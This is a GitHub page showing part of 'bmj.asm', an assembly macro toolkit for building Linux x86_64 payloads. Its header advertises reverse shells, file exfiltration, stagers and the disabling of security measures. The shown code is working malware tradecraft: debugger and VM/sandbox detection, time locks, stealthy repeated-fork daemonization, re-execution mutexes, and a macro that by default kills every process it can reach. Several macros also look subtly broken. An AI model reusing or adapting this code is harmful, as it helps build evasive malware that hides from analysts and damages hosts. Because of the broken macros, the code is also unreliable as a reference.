-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathbmj.asm
executable file
·2274 lines (2083 loc) · 50.6 KB
/
bmj.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
; ▀█████████▄ ▄▄▄▄███▄▄▄▄ ▄
; ███ 00 ███ ▄ █ █▀▀▀███▀▀▀█ █ ▄ █ █
; ███ ███ █ █ █fff███ █0x90 █ █
; ▄███▄▄90▄██ █ █ █ ███ █ █ █ █ █
; ▀▀███▀▀▀██▄ █ █ ███ █ █ █0x
; ███0xc0██▄ █ █ █ ███ █ █ █ █ █
; ███c3 ███ █ █ █ 0x0fff█ █ █ █ █ █
; ▄█████|████▀ ▀ █ ███ | ▀ █▄▄▄▄█ █
; | | |
; | | |
; | | |
; | . | . | . . . . .
; | . . | * . | . * . . .
; | . . | . * | * . * . .
; ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - - - - - - - - - - - - - - =]D>
; | . . | * * | . * * .
; | . | . | . * . * *
; | | . | * . . *
; |---- [Bare] | | .
; | |
; [Metal] ----| | # Toolkit for building small, position-independent payloads
; |
; | * Platform: GNU/Linux
; | * Architecture: x86_64
; [Jacket]-----------------------------| * Syntax: Intel
; * Assembler: NASM
; * MOV instructions: Just a few
; * свободная: беларусь
;
; / 0x01 / --- > Stack/register/string allocation helpers (variables initialization, XOR/PUSH chaining)
; / 0x02 / --- > Auxiliary macros (stack operations, relative addressing, data types operations)
; / 0x03 / --- > VM/debugging detection (RDTSC, number of CPU cores, file age, clock accelleration mechanism)
; / 0x04 / --- > Time-specific operations (time locks, timers, seeders)
; / 0x05 / --- > Coprocessing (forking, synchronised execution, standard filesystem mutexes, daemonization)
; / 0x06 / --- > IPC communication (signal handling/blocking/disposition/delivery)
; / 0x07 / --- > Low-level socket operations (TCP/UDP sock initialization, port binding, listeners)
; / 0x08 / --- > High-level socket operations (reverse/bind shells with auth, file exfiltration)
; / 0x09 / --- > Reverse TCP stagers (LKM/file/buffer retrieval)
; / 0x10 / --- > Operations on files and file descriptors (reading, writing, closing, executing, mapping files)
; / 0x11 / --- > Position-aware macros (section/relative label calculations)
; / 0x12 / --- > Administration, environment mapping (privilleges detection/elevation, power management, crawling, process priority, shell invocation)
; / 0x13 / --- > Command execution
; / 0x14 / --- > Size padders (NOP sleds, pattern/byte fill)
; / 0x15 / --- > Disablers (security measures, ASLR, process inspection)
; < * > --- > Experimental code (network/signal-based c2 channels, process protection, signal throwback)
;
;
; [::] ~ ~ ~ ~ [ _____Wintrmvte_____ @ redcodelabs.io] ~ ~ ~ ~ [::]
;
;
; 0x61 0x76 0x65 0x20 0x76 0x78
;
;--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
%include "lib/constants.asm"
%include "lib/structs.asm"
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x01 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> destination (register)
;
; Initializes a null char string in a given destination register
; Destination defaults to RSI
%macro push_empty_string 0-1 rsi
xor r14, r14
push r14
mov %1, rsp
%endmacro
; Args -> None
;
; Clears all registers (fills with 0x00)
%macro clear_regs 0
xor rcx, rcx
mul rcx
%endmacro
; Args -> None
;
; Longer version of the above macro
%macro clear_regs_long 0
multi_xor rax, rbx, rcx, rdx, rsi, rdi, r8, r9, r10, r11, r12, r13, r14, r15
%endmacro
; Args -> source (register), destination (register), shift_size (int)
;
; Shifts the source register left by shift_size bytes and moves it's contents to destination register
%macro regpair_shift_left 3
shl %1, %3
or %2, %1
%endmacro
; Args -> None
;
; Transfers contents of RDX to RAX
%macro rdx_to_rax 0
regpair_shift_left rdx, rax, 32
%endmacro
; Args -> register_1, [register_2], ... [register_N]
;
; Push multiple registers onto stack
%macro multi_push 1-*
%rep %0
push %1
%endrep
%endmacro
; Args -> register_1, [register_2], ... [register_N]
;
; Pop multiple values from the stack
; Registers should be specified in the same order as in 'multi_push' macro
%macro multi_pop 1-*
%rep %0
%rotate -1
pop %1
%endrep
%endmacro
; Args -> register_1, [register_2], ... [register_N]
;
; Initiate an arbitrary number of registers with 0x00
%macro multi_xor 1-*
%rep %0
xor %1, %1
%endrep
%endmacro
; Args -> None
;
; Preserves values of all registers on the stack
%macro save_regs 0
push rax
push rbx
push rcx
push rdx
push rdi
push rsi
push r9
push r8
push r10
push r13
push r15
push r14
%endmacro
; Args -> None
;
; Restores previously stored values of all registers from the stack
%macro restore_regs 0
pop r14
pop r15
pop r13
pop r10
pop r8
pop r9
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
; Args -> None
;
; This macro works the same as 'save_regs'
; The only difference is that they are saved in the order conforming with SysV C ABI
%macro save_regs_sysv 0
push rbx
push r12
push r13
push r14
push r15
push rbp
%endmacro
; Args -> None
;
; This macro works the same as 'restore_regs'
; The only difference is that they are restored in the order conforming with SysV C ABI
%macro restore_regs_sysv 0
pop rbp
pop r15
pop r14
pop r13
pop r12
pop rbx
%endmacro
; Args -> variable name (string), text (string)
;
; Initiates two variables: '%1' and '%1_len'
; Used mainly for initializing non-mutable buffers of fixed size that will be used later in the control flow
%macro init_string_var 2
%define %1 '%2'
%strlen %1_len sometext
%endmacro
; Args -> buffer (string), destination (register)
;
; Moves a null-terminated string to desired source register
%macro init_string 2
call %%str_stack_set
db %2, 0x00
%%str_stack_set:
mov %1, [rsp]
%endmacro
; Args -> buffer (string), destination (register)
;
; Same as above, but string is loaded to source register using relative offset calculation
%macro init_string_rel 2
%%this_string: db %2, 0x00
lea %1, [rel %%this_string]
%endmacro
; Args -> name (string), text (string)
;
; Initiates two labels: one holding the name of the string, the other holding it's length
; The string is null-terminated
; For example, using:
;
; init_string_len my_string, "test"
;
; one can later load previously initiated string and it's length using:
;
; rel_load rdi, my_string
;
; In the above case, '"test", 0x00' is loaded into RDI register
%macro init_string_len 2
%1: db %2, 0x00
len_%2: equ $-%1
%endmacro
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x02 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> severity, message, [output fd] (constant, string)
;
; Prints a status message to STDOUT, or to a file descriptor specified by %3
; Severity can be one of: INFO, GOOD, ERROR
%macro debug 2-3 STDOUT
jmp %%printer
%%msg: db %1, %2, 0x0a
%%len: equ $-%%msg
%%printer:
push SYS_WRITE
pop rax
push STDOUT_FILENO
pop rdi
lea rsi, [%%msg]
lea rdx, [rel %%len]
syscall
%endmacro
; Args -> destination (register), source (label)
;
; Loads effective address of desired source label into destination register
%macro rel_load 2
lea %1, [rel %2]
%endmacro
; Args -> bytes (int), source (register)
;
; Reserves required number of bytes in a given source register
; Source defaults to r15
%macro reserve_stack_bytes 0-2 1024,r15
xor rdx, rdx
%rep 2
push rdx
%endrep
sub rsp, %1
mov %2, rsp
%endmacro
; Args -> bytes (int), source (register)
;
; Same as above, but bytes are reserved using relative offset loading of the top of the stack into source register
%macro reserve_stack_bytes_rel 0-2 1024,r15
lea %2, [rsp-%1]
%endmacro
; Args -> source (register), destination (register)
;
; Compares strings placed in two registers
; If they are equal, returns 0 in RAX
%macro strcmp 0-2 rax,rbx
xor rcx, rcx
push %2
push rcx
sub rsp, 8
mov qword [rsp-8], rax
%%check_next:
mov rax, qword [rsp-8]
mov al, byte [eax]
cmp al, byte [ebx]
jne %%not_eq
add qword [rsp-8], 1
inc rbx
test al, al
jne %%check_next
xor eax, eax
jmp %%end
%%not_eq:
xor rax, rax
inc rax
%%end:
add rsp, 8
pop rcx
pop rbx
%endmacro
; Args -> register
;
; Converts contents inside specified register from decimal to ASCII
; The result remains in the same register
%macro dec2ascii 1
add %1, byte '0'
%endmacro
; Args -> register
;
; Same as above, but converts from ASCII to decimal
%macro ascii2dec 1
sub %1, byte '0'
%endmacro
; Args -> source_ip (register)
;
; Converts an IP address in 'source_ip' register (RAX by default) to hexadecimal
; Returns -i in RAX if errors occurred
%macro ip2hex 0-1 rax
push %1
pop rsi
strlen
push rax
pop r9
cmp rax,15
jg %%error
cmp rax,7
jl %%error
push rsi
pop rdi
add rdi,r9
push "."
pop al
stosb
push rsi
pop rdi
xor r8,r8
push 4
pop r12
%%nextgroup:
xor rcx,rcx
not rcx
push "."
pop al
cld
repne scasb
push rcx
pop rbx
neg rbx
dec rbx
dec rbx
cmp rbx,3
jg %%error
cmp rbx,1
jl %%error
add r8,rbx
xor rdx,rdx
xor rax,rax
%%nextbyte:
lodsb
cmp al,"."
je %%done
push rdx
pop rbx
shl rbx,3
shl rdx,1
add rdx,rbx
cmp al,"0"
jb %%error
cmp al,"9"
ja %%error
and al,0x0F
add rdx,rax
jmp %%nextbyte
%%done:
cmp rdx,0xFF
jg %%error
shl r10,8
or r10,rdx
dec r12
cmp r12,0
jne %%nextgroup
add r8,3
cmp r9,r8
jne %%error
push r10
pop rax
ret
%%error:
xor rax,rax
inc rax
neg rax
%endmacro
; Args -> [source] (register)
;
; Return the length of a null-terminated string pointed to by source register
; Length is returned in RAX
; Source register defaults to RAX as well
%macro strlen 0-1 rax
push %1
pop rsi
xor rcx,rcx
not rcx
xor rax,rax
cld
repnz scasb
neg rcx
sub rcx,2
push rcx
pop rax
%endmacro
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x03 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> destination (label)
;
; Returns 1 in RAX if debugging mechanism was detected
; Detection is based on simple ptrace(0, 0, 1, 0) method, so nothing new here
%macro is_debug 1
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
inc rdx
xor rcx, rcx
push SYS_PTRACE
pop rax
syscall
cmp rax, rcx
jne %%debugger_present
xor rax, rax
jmp %%finish:
%%debugger_present
xor rax, rax
inc rax
%%finish:
%endmacro
; Args -> None
;
; Detects VM by checking if Secure Computing Mode is enabled
; Return value is the same as above
%macro vm_seccomp 0
push SYS_SECCOMP
pop rax
push 21
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall
cmp rax, 0
jne %%vm_detected
xor rax, rax
jmp %%finish
%%vm_detected:
push 1
pop rax
%%finish:
%endmacro
; Args -> Sleep time in seconds (int)
;
; Detects VM environment by checking for presence of time accelleration mechanism
; Return value is the same as above
%macro vm_acc 0-1 5
push SYS_TIME
pop rax
xor rdi, rdi
syscall
push rax
pop r8
sleep %1, SECONDS
push SYS_TIME
pop rax
syscall
xor rdx, rdx
div r8
cmp rdx, %1
jg %%vm_detected
xor rax, rax
jmp %%finish
%%vm_detected:
push 1
pop rax
%%finish:
%endmacro
; Args -> Minimum delay between consecutive rdtsc instructions (int)
;
; Detects VM environment by checking for longer delay when rdtsc is issued for retrieving CPU's tick counter
; Returns 1 in RAX if VM was detected; 0 otherwise
%macro vm_tick 0-1 512
rdtsc
push rax
pop rbx
rdtsc
sub rax, rbx
cmp rax, %1
jge %%vm_detected
xor rax, rax
jmp %%finish
%%vm_detected:
push 1
pop rax
%%finish:
%endmacro
; Args -> minimum delay between rdtsc (int)
;
; Detects VM environment by checking for low number of CPU cores
; Default trigger for positive detection is 2 cores (or less)
; Returns 1 in RAX if VM was detected; 0 otherwise
;%macro vm_cpu 0-1 2
; run " "
; file_open ".numcpu"
; push rax
; pop rdi
; xor rax, rax
; push r9
; mov rsi, rsp
; add rdx, 1
; syscall
; ascii2dec rsi
; xor rax, rax
; cmp rsi, %1
; jle %%vm_detected
; jmp %%finish
; %%vm_detected:
; inc rax
; %%finish:
;%endmacro
; Args -> filename (string)
;
; My implementation of @elfmaster's VM detection as seen in Linux.Retaliation
; Checks for abnormally small interval between current Epoch stamp
; and 'st_btime' field of a file created when the host was set up
; Such approach might trigger false positives if tested file was modified after the OS deployment
%macro vm_age 0-3 1,HOURS,"/etc/hostname"
push 332
pop rax
xor rdi, rdi
init_string rsi, %1
reserve_stack_bytes_rel STATX_size, r8
syscall
mov r9, [r8+STATX.st_btime]
time_get
sub rcx, r8
interval_to_seconds r10,%2,%3
cmp rcx, r10
jle %%cont
exit 0
%%cont:
%endmacro
; Args -> None
;
; Invokes all above VM detection macros and stores number of positive detections in RAX
; If any error occurred, -1 is returned in RAX
%macro vm_all 0
xor r12, 12
vm_acc
add r12, rax
vm_tick
add r12, rax
vm_cpu
add r12, rax
cmp r12, 0
jl %%error
push r12
pop rax
%%error:
xor rax, rax
dec rax
%endmacro
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x04 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> [destination] (register), multiplier (int), interval (unit)
;
; Converts a given interval to seconds and stores it
%macro interval_to_seconds 0-3 rcx,1,HOURS
push %2
pop rax
push %3
pop rdx
mul rdx
push rax
pop %1 ; Seconds are returned in the destination register
%endmacro
; Args -> syscall_number (int)
;
; Initiate the RAX register with system call number specified in %1 using non-standard instruction set
%macro scall 1
xor rax, rax
sub rax, %1
neg rax
%endmacro
; Args -> [destination] (register)
;
; Returns a number of seconds passed since Epoch in destination register
%macro time_get 0-1 rcx
push SYS_TIME
pop rax
xor rdi, rdi
syscall
push rax
pop %1
%endmacro
; Args -> seconds (register), multiplier (int), interval (unit)
;
; Returns:
; 0 if number of seconds equals the specified time unit
; -1 if seconds < (multiplier*interval)
; 1 if seconds > (multiplier*interval)
%macro time_compare 3
save_regs r8
%%init_seconds_in_r8:
interval_to_seconds r8,%2,%3
cmp %1, r8
je %%set_0
jl %%set_neg
jg %%set_1
%%restorer
restore_regs r8
%endmacro
; Args -> interval (int), unit, /// [reboot] (bool) ///
;
; Sets time-to-live of the program
; After given interval passes, current process receives SIGALRM via alarm(2)
; Unit argument can be any of: SECONDS, MINUTES, HOURS, DAYS
; TODO :: If 'reboot' is set to TRUE, host is rebooted instead of execution flow stop
%macro set_ttl 2-3 FALSE
push %1
pop rax
push %2
pop rdx
mul rdx
push rax
pop rdi
push SYS_ALARM
pop rax
syscall
;fork_label_parent %%cont
;%%cont:
%endmacro
; Args -> None
;
; Returns a random seed in RAX register
%macro init_seed 0
rdtsc
rdx_to_rax
push rax
pop r8
xor rax, rax
push rax
xor rax, rax
inc rax
push rax
mov rdi, rsp
push SYS_NANOSLEEP
pop rax
syscall
rdtsc
rdx_to_rax
div r8
push rdx
pop rax
%endmacro
; Args -> end_time (int)
;
; Exits if current time exceeds end_time
; The argument end_time should specify number of seconds passed since the Epoch
%macro set_deadline 1
push SYS_TIME
xor rdi, rdi
pop rax
syscall
push %1
pop rdx
cmp rax, rdx
jle %%continue
exit 0
%%continue:
%endmacro
; Args -> interval (int), unit
;
; Sleeps for a given interval
; Unit argument can be one of: SECONDS, MINUTES, HOURS, DAYS
%macro sleep 2
xor rax, rax
push rax
push %2
pop rax
push %1
pop rdx
mul rdx
push rax
mov rdi, rsp
push SYS_NANOSLEEP
pop rax
syscall
%endmacro
; Args -> [fd] (register), [operation] (constant), [interval] (int), [unit]
;
; This macro alters creation and modification times of a file specified by file descriptor
; File descriptor is provided in RDI by default
%macro stamp 0-4 rdi, FUTURE, 2, HOURS
xchg rdi, %1
push %3
pop rax
push %4
pop rcx
mul rcx
push %2
pop rbx
cmp rbx, FUTURE
je %%time_add
jmp %%set_timestamp
%%time_add:
%%set_timestamp:
%endmacro
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x05 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> None
;
; Executes fork() syscall
%macro fork 0
push SYS_FORK
pop rax
syscall
%endmacro
; Args -> destination (label)
;
; Same as above, but the child process jumps to label specified by 'destination'
%macro fork_label_child 1
push SYS_FORK
pop rax
syscall
xor rbx, rbx
cmp rax, rbx
je %1
%endmacro
; Args -> destination (label)
;
; Same as above, but the parent process jumps to label specified by 'destination'
%macro fork_label_parent 1
push SYS_FORK
pop rax
syscall
xor rbx, rbx
cmp rax, rbx
jne %1
%endmacro
; Args -> None
;
; Spawns a simple forkbomb
%macro forkbomb 0
%endmacro
; Args -> None
;
; Detaches current process from an interactive TTY device
%macro tty_detach 0
push SYS_GETPGID
pop rax
xor rdi, rdi
syscall
push rax
pop r9
push SYS_GETPID
pop rax
syscall
cmp rax, r9
je %%sid_already_set
push SYS_SETSID
pop rax
syscall
push SYS_GETPPID
pop rax
syscall
cmp rax, 1
je %%sid_already_set
exit 0
%%sid_already_set:
%endmacro
; Args -> number of consecutive detaches (int)
;
; Forks and performs 'tty_detach' multiple times
%macro fork_detach_exit_loop 0-1 10
push %1
pop rcx
%%startloop:
fork_label_child %%child
exit 0
%%child:
tty_detach
fork_label_child %%grandchild
exit 0
%%grandchild:
loop %%startloop
%endmacro
; Args -> label, [delay] (int), [unit] (int)
;
; Executes given label in infinite loop with delay between each invocation specified in %2 and %3
; Default delay is 10 seconds
; The 'label' argument (defined elsewhere in the code) should end with a 'ret' instruction
%macro infinite_loop 1-3 10, SECONDS
push 2
pop rcx
%%inf_l:
inc rcx
call %1
sleep %2, %3
loop %%inf_l
%endmacro
; Args -> destination, condition (label), [delay] (int), [unit] (int)
;
; Calls 'destination' label in an infinite loop until procedure specified in 'condition' is true
; Condition label should end with 'ret' instruction and set RAX return value as specified below:
; a) If RAX is set to 1 after call to 'condition' label, the loop exits
; b) If RAX is zero or negative integer after the call, the loop continues until next iteration and calling the condition label
%macro finite_loop 2-4 10, SECONDS
%%loop_start:
call %2
push 2
pop rcx
cmp rax, 1
je %%exit_loop
call %1
sleep %2, %3
%%exit_loop:
%endmacro
; Args -> root_path (string), standard_path (string), loop interval (int), time unit (unit)
;
; Daemonizes current process
; Label specified as the first argument (%1) is executed infinitely in a loop
; The loop can be broken by setting a condition label before each loop iteration in argument %4
%macro daemon_init 1-6 "/", "/usr", 0xffff, 5, MINUTES
fork_detach_exit_loop 1
sig_mask_all
push SYS_UMASK
pop rax
xor rdi, rdi
syscall
is_root
cmp rax, 1
je %%root_cd
%%standard_cd:
chdir %3
jmp %%fd_closer
%%root_cd:
chdir %2
%%fd_closer:
close3
infinite_loop %1, %5, %6
%endmacro
; Args -> jump_location (label), interval (int), unit
;
; Creates a background process that passes execution to desired label after given time has passed
%macro schedule_jmp_bg 3
fork_label_parent %%mv_forward
sleep %2, %3
jmp %1
%%mv_forward:
%endmacro
; Args -> status code (int)
;
; Performs exit(2) with given code
; Default exit code is 0
%macro exit 0-1 0
push SYS_EXIT
pop rax
push %1
pop rdi
syscall
%endmacro
; Args -> None
;
; Waits for the child process to finish execution
%macro wait_child 0
push SYS_WAIT
pop rax
xor rcx, rcx
xor rdi, rdi
dec rdi
xor rsi, rsi
syscall
%endmacro
; Args -> filename (string)
;
; Checks for existence of named mutex
; Control flow waits until the mutex is obtained (instead of exiting).
; Can be used in a form of a global re-execution prevention mechanism.
%macro flock_block 0-1 "/tmp/.mtx"
file_create %1
push rax
pop rdi
push SYS_FLOCK
pop rax
push LOCK_EX
pop rsi
syscall
%endmacro
; Args -> filename (string)
;
; Same as the above, but if the mutex was not obtained, exec flow is passed to exit(0)
%macro flock 1
file_create %1
push rax
pop rdi
push SYS_FLOCK
pop rax
push LOCK_EX | LOCK_NB
pop rsi
syscall
cmp rax, -1
jne %%continue
exit 0
%%continue:
%endmacro
; Args -> filename (string)
;
; Creates a persistent file lock via O_CREAT
; If it cannot be obtained, the program exits
%macro plock 1
file_open %1
xor rcx, rcx
dec rcx
cmp rax, rcx
jne %%cnt
exit 0
%%cnt:
%endmacro
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x06 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
; Args -> [pid] (int)
;
; Kills process specified by pid
; By default, every process that can receive SIGKILL from current process is killed
%macro kill 0-1 -1
push SYS_KILL
pop rax
push %1
pop rdi
push SIGKILL
pop rsi
syscall
%endmacro
; Args -> None